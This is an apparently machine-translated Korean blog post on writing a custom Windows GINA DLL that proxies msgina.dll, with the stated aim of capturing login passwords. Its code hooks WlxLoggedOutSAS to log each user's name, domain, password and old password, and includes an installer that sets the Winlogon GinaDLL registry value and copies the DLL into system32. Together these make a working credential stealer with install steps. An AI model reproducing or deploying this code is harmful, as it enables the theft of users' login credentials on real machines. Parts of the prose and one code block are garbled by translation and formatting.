gina. 정보dll의 작성

gina, Microsoft의 공식 설명에 따르면:
The GINA operates in the context of the Winlogon process and, as such, the GINA DLL is loaded very early in the boot process. The GINA DLL must follow rules so that the integrity of the system is maintained, particularly with respect to interaction with the user.
Note   GINA DLLs are ignored in Windows Vista.
The most common use of the GINA is to communicate with an external device such as a smart-card reader. It is essential to set the start parameter for the device driver to system (Winnt.h: SERVICE_SYSTEM_START) to ensure that the driver is loaded by the time the GINA is invoked.
The purpose of a GINA DLL is to provide customizable user identification and authentication procedures. The default GINA does this by delegating SAS event monitoring to Winlogon, which receives and processes CTL+ALT+DEL secure attention sequences (SASs). A custom GINA is responsible for setting itself up to receive SAS events (other than the default CTRL+ALT+DEL SAS event) and notifying Winlogon when SAS events occur. Winlogon will evaluate its state to determine what is required to process the custom GINA's SAS. This processing usually includes calls to the GINA's SAS processing functions.
For information about specific GINA export functions, see GINA Export Functions. For information about using GINA structures to pass information, see GINA Structures.
번역: (goole 번역)
GINA의 경영은 Winlogon 프로세스에서 이루어지며 GINA DLL은 부팅 프로세스 초기에 로드됩니다.GINA DLL은 시스템 무결성, 특히 사용자와의 상호 작용을 유지하기 위해 반드시 지켜야 하는 규칙을 따릅니다.참고 GINA의 DLL은 Windows Vista에서 무시됩니다.의 GINA, 가장 흔히 사용하는 것은 스마트카드 리더기와 같은 외부 장치와 소통하는 것이다.중요한 것은 장치 드라이버 시스템(WINNT.H:SERVICE SYSTEM START)의 시작 매개변수입니다. 이 드라이버가 GINA 를 로드하고 호출되는지 확인합니다.GINA DLL의 목적은 사용자 식별 및 인증 프로그램을 맞춤형으로 제공하는 것입니다.기본 GINA, SAS 이벤트 모니터링 위임 WINLOGON, CTL + Alt + DEL, 보안 주의 시퀀스(SASS) 수신 및 처리사용자 지정 GINA는 SAS 수신 이벤트(기타 기본 Ctrl + Alt + Del SAS 이벤트)를 설정하고 WINLOGON SAS 이벤트가 발생할 경우WINLOGON은 상태를 평가하여 필요한 과정에서 GINA를 사용자 정의하는 SAS를 결정합니다.이런 처리는 보통 GINA의 SAS 처리 기능을 호출하는 것을 포함한다.특정 GINA 내보내기 기능에 대한 자세한 내용은 GINA 내보내기 기능을 참조하십시오.사용하는 GINA 구조에 대한 정보가 필요하면 정보를 전달하고 보이는 GINA 구조입니다.
 
winlogon이 뭐야?exe?
Windows Logon Process, Windows NT 사용자 로그인 프로그램, 사용자 로그인 및 종료를 관리합니다.프로세스의 정상적인 경로는 C:\Windows\System32이고 SYSTEM 사용자로 실행되어야 합니다.우리는 운영체제가 모두 권한을 바탕으로 하고 권한은 모두 사용자를 바탕으로 하는 것을 알고 있다. 이 winlogon 프로세스는 사용자의 로그인과 로그아웃을 관리하는 것이기 때문에 끝날 수 없다.
 
종합적으로 말하면 gina에 대한 작성은 시스템 프로세스인 winlogon과 쉽게 연결될 수 있다. 나는 풋내기이다. 방금 gina에 대한 작성 작업과 관련되었는데 개인적으로 gina에 대한 작성은 마이크로소프트 자체가 남긴 심각한 안전 결함일 수 있다고 생각한다.직접 작성 gina.dll 및 제3자 gina.dll, 시스템의 사용자 이름과 비밀번호를 쉽게 얻을 수 있고 심지어 예상치 못한 목적을 달성할 수 있다. 이 채소 새는 이 블로그를 쓸 때 winlogon 프로세스가 시스템의 안전 프로세스로서 비교적 일찍 만들어졌는데 이 장점으로 시스템의 권한을 미리 얻고 완고한 프로세스(예를 들어 백신 소프트웨어)를 밀어낼 수 있는지 생각했다.이것도 역시 풋내기의 추측으로 실험을 거치지 않고 이론적 기초도 없이 소가 날아갔다.
NT/2000에서 인터랙티브 로그인 지원은 WinLogon이 GINA DLL을 호출하여 이루어진 것이고 GINA DLL은 인터랙티브 인터페이스를 제공하여 사용자의 로그인에 인증 요청을 제공한다.WinLogon은 GINA DLL과 상호 작용합니다. 기본값은 MSGINA입니다.DLL(System32 디렉토리)Microsoft는 MSGINA 대신 GINA DLL을 직접 작성할 수 있는 인터페이스를 제공합니다.DLL.
WinLogon을 초기화할 때 3개의 데스크톱을 만듭니다: (1), winlogon 데스크톱: 주로 윈도 보안 등 인터페이스를 표시합니다. 예를 들어 Ctrl + Alt + DEL을 누르면 로그인하는 인터페이스 등 (2), 응용 프로그램 데스크톱: 우리가 평소에 본 것은 내 컴퓨터의 인터페이스(3), 화면 보호 데스크톱: 화면 보호 디스플레이 인터페이스입니다.
 
다음은 우리가 어떻게 자신의 gina를 작성하는지 살펴보자.dll, 이건 어렵지 않을 것 같아. 우리가 쓴 gina.dll는 원래 마이크로소프트의 msgina를 내보내야 합니다.dll의 모든 함수, 이 함수의 실현에 대해서는 원 msgina.dll의 내보내기 함수만 있으면 됩니다.그리고 우리는 우리가 필요로 하는 특정 함수에 자신의 코드를 추가하여 우리의 목적을 실현할 수 있다.
 
우선 원 msgina를 알아야 합니다.dll에서 어떤 함수를 내보냈습니까?Microsoft의 도움말 문서를 참조하면 msgina를 쉽게 찾을 수 있습니다.dll은 다음과 같은 19개의 함수를 내보냈다. (Windows 2000은 문서의 19개 함수보다 한 개 더 많을 거라고 하는데 이 채소 새는 자세히 생각하지 않았다)
함수.
묘사
WlxActivateUserShell
사용자 셸 활성화
WlxDisplayLockedNotice
GINA DLL에 잠금 정보 표시 허용
WlxDisplaySASNotice 
사용자가 로그인하지 않았을 때, Winlogon에서 이 함수를 호출합니다
WlxDisplayStatusMessage
Winlogon은 상태 정보를 사용하여 이 함수를 호출하여 표시합니다.
WlxGetConsoleSwitchCredentials 
Winlogon은 이 함수를 호출하여 현재 로그인한 사용자의 신뢰 정보를 읽고 대상 세션에 투명하게 전송합니다
WlxGetStatusMessage 
Winlogon에서 이 함수를 호출하여 현재 상태 정보를 가져옵니다.
WlxInitialize 
지정된 창 위치에 대한 GINA DLL 초기화
WlxIsLockOk 
워크스테이션 잠금 확인
WlxIslogoffOk 
로그아웃 확인
WlxLoggedOnSAS 
사용자가 로그인하고 워크스테이션이 잠기지 않았습니다. 만약 SAS 이벤트를 수신한다면, Winlogon은 이 함수를 호출합니다
WlxLoggedOutSAS 
사용자가 로그인하지 않았습니다. SAS 이벤트가 수신되면 Winlogon에서 이 함수를 호출합니다. This indicates that a logon attempt should be made.
WlxLogoff 
로그아웃 요청 시 GINA DLL 알림
WlxNegotiate 
현재 Winlogon 버전에서 GINA DLL을 사용할 수 있는지 여부를 나타냅니다.
WlxNetworkProviderLoad 
Winlogon은 네트워크 서비스 제공 프로그램을 로드하여 ID 및 인증 정보를 수집한 후 이 함수를 호출합니다.
WlxRemoveStatusMessage 
Winlogon은 이 함수를 호출하여 GINA DLL의 상태 정보 표시 중지를 알려줍니다.
WlxScreensaverNotify 
GINA와 화면 보호기 작업 상호 작용 허용
WlxShutdown 
Winlogon에서 이 함수를 호출하여 카드 리더기에서 스마트 카드를 종료하는 등의 모든 종료 작업을 수행할 수 있도록 합니다.
WlxStartApplication 
시스템이 사용자의 상하문에서 프로그램을 시작해야 할 때 이 함수를 호출합니다
WlxWkstaLockedSAS
Winlogon은 워크스테이션이 잠긴 경우 SAS를 수신하면 이 함수를 호출합니다.
그 다음에 easy를 비교했다. 이 채소새는 그 중의 한 함수에 대한 정의만 썼고 실례화되어 그 값을 원 함수 주소로 부여했고 다른 18개의 함수는 같은 이치였다.
 
 
typedef BOOL                //       
(WINAPI *
pWlxNegotiate)(
    DWORD                   dwWinlogonVersion,
    PDWORD                  pdwDllVersion
    );

 
pWlxNegotiate				prcWlxNegotiate = NULL;                  //   

 
prcWlxNegotiate = (pWlxNegotiate)GetProcAddress(hGina, "WlxNegotiate");    //              ,       

 
 
BOOL WINAPI WlxNegotiate (                        //       gina.dll            ,  WlxNegotiate         
  DWORD  dwWinlogonVersion,
  PDWORD pdwDllVersion)
{
	return prcWlxNegotiate (
			dwWinlogonVersion,
			pdwDllVersion);

}

 
 
동적 링크 라이브러리 내보내기 함수를 간단한 방법으로 정의합니다(.def 파일 추가).
EXPORTS
    WlxGetConsoleSwitchCredentials  @1
	WlxActivateUserShell			@2
	WlxDisplayLockedNotice			@3
	WlxDisplaySASNotice				@4
	WlxDisplayStatusMessage			@5
	WlxGetStatusMessage				@6
	WlxInitialize					@7
	WlxIsLockOk						@8
	WlxIsLogoffOk					@9
	WlxLoggedOnSAS					@10
	WlxLoggedOutSAS					@11
	WlxLogoff						@12
	WlxNegotiate					@13
	WlxNetworkProviderLoad			@14
	WlxRemoveStatusMessage			@15
	WlxScreenSaverNotify			@16
	WlxShutdown						@17
	WlxStartApplication				@18
	WlxWkstaLockedSAS				@19

 
이렇게 하면 기본적으로 간단하고 쉬운 gina를 실현할 수 있다.dll, 기본적으로 msgina를 실현했다.dll의 원래 기능입니다.
 
 
그리고 우리는 우리의 특정한 목적을 실현해야 한다. 여기서 이 채소새는 시스템 로그인 비밀번호를 캡처하는 것을 예로 들 수 있다.먼저 시스템이 로그인할 때 어떤 함수를 호출했는지 알아야 한다. MSDN 조회를 통해 우리는 이 함수를 발견하기 어렵지 않다. WlxLoggedOutSASMSDN에 따르면 다음과 같다.
The WlxLoggedOutSAS function must be implemented by a replacementGINA DLL.Winlogon calls this function when it receives a secure attention sequence (SAS) event while no user is logged on.
교체용 GINA DLL로 번역하려면 WlxLoggedOutSAS 기능이 있어야 합니다.Winlogon에서 이 함수를 호출합니다. 보안 주의 시퀀스 (SAS) 의 이벤트를 받고 사용자가 로그인하지 않을 때.(goole 번역)
 
로그인할 때 이 함수를 호출해야 한다는 뜻이다. 그러면 문제가 명백해진다. 우리 먼저 이 함수를 살펴보자.
Syntax
int WlxLoggedOutSAS(
  __in     PVOID pWlxContext,
  __in     DWORD dwSasType,
  __out    PLUID pAuthenticationId,
  __inout  PSID pLogonSid,
  __out    PDWORD pdwOptions,
  __out    PHANDLE phToken,
  __out    PWLX_MPR_NOTIFY_INFO pNprNotifyInfo,
  __out    PVOID* pProfile
);


우리는 PWLX를 주목해야 한다MPR_NOTIFY_INFO 구조체:
 
typedef struct _WLX_MPR_NOTIFY_INFO {  
PWSTR pszUserName;  //   
PWSTR pszDomain;  //    
PWSTR pszPassword;  //  
PWSTR pszOldPassword;//   
} WLX_MPR_NOTIFY_INFO,  *PWLX_MPR_NOTIFY_INFO;
 

 
그러면 우리는 이 구조체에서 시스템 로그인 비밀번호를 직접 얻을 수 있다. 원본 코드는 다음과 같다.
int WINAPI WlxLoggedOutSAS (
  PVOID                pWlxContext,
  DWORD                dwSasType,
  PLUID                pAuthenticationId,
  PSID                 pLogonSid,
  PDWORD               pdwOptions,
  PHANDLE              phToken,
  PWLX_MPR_NOTIFY_INFO pMprNotifyInfo,
  PVOID *              pProfile)
{
	int iRet=0;
	PWSTR pszUserName=NULL;      //   
	PWSTR pszDomain=NULL;        //   
	PWSTR pszPassword=NULL;       //  
	PWSTR pszOldPassword=NULL;    //   

	WriteInfo("WlxLoggedOutSAS\r
"); iRet=prcWlxLoggedOutSAS ( pWlxContext, dwSasType, pAuthenticationId, pLogonSid, pdwOptions, phToken, pMprNotifyInfo, pProfile); if(iRet == WLX_SAS_ACTION_LOGON) { pszUserName=pMprNotifyInfo->pszUserName; if(pszUserName!=NULL) { WriteInfo("Username : "); WriteInfoW(pszUserName);// } pszDomain=pMprNotifyInfo->pszDomain; if(pszDomain!=NULL) { WriteInfo("computer : "); WriteInfoW(pszDomain); } pszPassword =pMprNotifyInfo->pszPassword; if(pszPassword!=NULL) { WriteInfo("PassWord : "); WriteInfoW(pszPassword); } pszOldPassword=pMprNotifyInfo->pszOldPassword; if(pszOldPassword!=NULL) { WriteInfo("OldPassword: "); WriteInfoW(pszOldPassword); } } return iRet; }

이쯤에서 우리 gina의 작성은 끝난 셈입니다. 이 gina의 설치에 대해 인터넷 자료가 많은 것은 제가 여러분께 코피를 해 드리겠습니다.
1. 레지스트리 키 이름 추가:\HKEYLOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon 변수 이름: GinadLL 변수 유형: [REG SZ] 내용: "당신의 GINA DLL 이름"은 "MyGina.DL:
2. GINA DLL(MyGina.dll)을 시스템 디렉터리에 복사하기(시스템32);
3. 기계를 재부팅하면 당신의 GINA DLL(My Gina.dll)이 작동합니다.
 
우리도 스스로 작은 프로그램을 써서 상술한 기능을 자동으로 실현할 수 있다. 원본 코드는 다음과 같다(gina.dll는 설치 프로그램과 같은 디렉터리 아래에 있어야 한다).
#include "windows.h"
#include "tchar.h"

BOOL SetRegedit()
{
	HKEY hKey=NULL;
	LPCTSTR data=_T("Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon");
	LPCTSTR Value=_T("GINA.dll");
	if (RegOpenKeyEx(HKEY_LOCAL_MACHINE,data,0,KEY_ALL_ACCESS,&hKey)==ERROR_SUCCESS)
	{
        RegSetValueEx(hKey,_T("GinaDll"),0,REG_SZ,(LPBYTE)Value,50);
		return TRUE;
	}
	return FALSE;
}


BOOL Move()
{
		if((MoveFileEx(_T(".\\GINA.dll"),_T("c:\\WINDOWS\\system32\\GINA.dll"),MOVEFILE_REPLACE_EXISTING))!=0)
			return TRUE;
		else
			return FALSE;
}


int WINAPI WinMain(HINSTANCE, HINSTANCE, char *, int cmdShow)
{
	if(SetRegedit()==FALSE)
		MessageBox(NULL,"SetRegedit fuild","Error",MB_OK);
	if (Move()==FALSE)
		MessageBox(NULL,"Move fuild","Error",MB_OK);
	return 0;
}

자, 이 블로그는 완벽하게 끝난 셈이다. 마지막으로 채소 언론은 오락만 제공한다.
 

좋은 웹페이지 즐겨찾기